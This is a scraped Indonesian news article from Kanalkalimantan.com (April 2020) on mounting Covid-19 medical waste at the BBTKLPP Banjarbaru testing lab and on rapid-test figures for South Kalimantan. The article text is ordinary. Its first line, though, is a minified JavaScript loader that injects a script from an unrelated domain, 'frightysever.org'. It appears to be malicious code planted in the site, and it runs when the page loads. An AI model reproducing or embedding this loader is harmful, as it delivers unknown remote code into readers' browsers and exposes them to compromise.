(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Balai Besar Teknik Kesehatan Lingkungan dan Pengendalian Penyakit (BBTKLPP) Banjarbaru sebagai tempat pengujian specimen Covid-19 di Kalimantan Selatan memiliki beban yang kian berat. Mengingat sebagian besar kasus terkonfirmasi positif Covid-19 di Kalsel uji spesimennya dilakukan di BBTKLPP.
Hal ini juga menyebabkan semakin menumpuknya limbah medis di tempat tersebut. Juru Bicara Tim Gugus Tugas Percepatan Penanganan (P2) Covid-19 Kalsel Muhammad Muslim mengakui beban kerja BBTKLPP Banjarbaru cukup meningkat. Terutama dalam uji specimen Covid-19 di Kalsel, sehingga diakuinya limbah medis cukup banyak.
“Tentu saja limbah medis ini dikelola sesuai SOP atau protokol penangana limbah medis umumnya. Maka dari itu, BBTKLPP memiliki fasilitas untuk itu, namun jika meningkat perlu didiukung dan dapat diberikan beberapa alternatif dalam pemusnahan limbah medis ini,” kata Muslim di Banjarbaru, Kamis (30/4/2020).
Muslim menjelaskan, Wali Kota Banjarbaru H. Nadjmi Adhani melakukan kunjungan ke BBTKLPP Banjarbaru, beberapa waktu lalu. Wali Kota pun berkenan memberikan dukungan untuk pemusnahan limbah medis ini melalui insenerator yang dimiliki Kota Banjarbaru.
“Ini merupakan sebuah dukungan juga. Begitu juga nanti kalau dibutuhkan terkait dengan hal-hal penanganan seperti ini, pemerintah tentunya mendukung sepenuhnya,” lugas Muslim.
Terpenting bagi Muslim adalah, bagaimana tata kelola limbah ini sesuai dengan ketentuan yang ada. Di samping itu, ia mengklaim meningkatnya kasus positif Covid-19 di Kalsel tentunya merupakan hasil dari upaya tracing atau telusur oleh Survelians Epidemiologi yang cukup massif. Peningkatan ini sendiri, diklaim merupakan upaya yang cukup massif melakukan testing baik dari hasil telusur.
“Oleh karena itu, untuk memantapkan testing yang gencar kita lakukan untuk menemukan kontak baik dari kontak positif maupun cluster yang diketahui oleh tim Surveilans Epidemiologi. Maka dari itu, ada peningkatan kasus,” katanya.
Hingga Kamis (30/4/2020), Tim Gugus Tugas P2 Covid-19 Kalsel mengatakan, dari sekitar 7.200 alat rapid test yang dimiliki di Kalsel, 6.260 buah alat rapid test telah didistribusikan. “3.597 rapid test telah terlaporkan, di mana 425 rapid test dinyatakan reaktif,” kata Muslim.
Jika dipersentasekan, sebanyak 11,82 persen laporan rapid test dinyatakan reaktif atau positif Covid-19. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.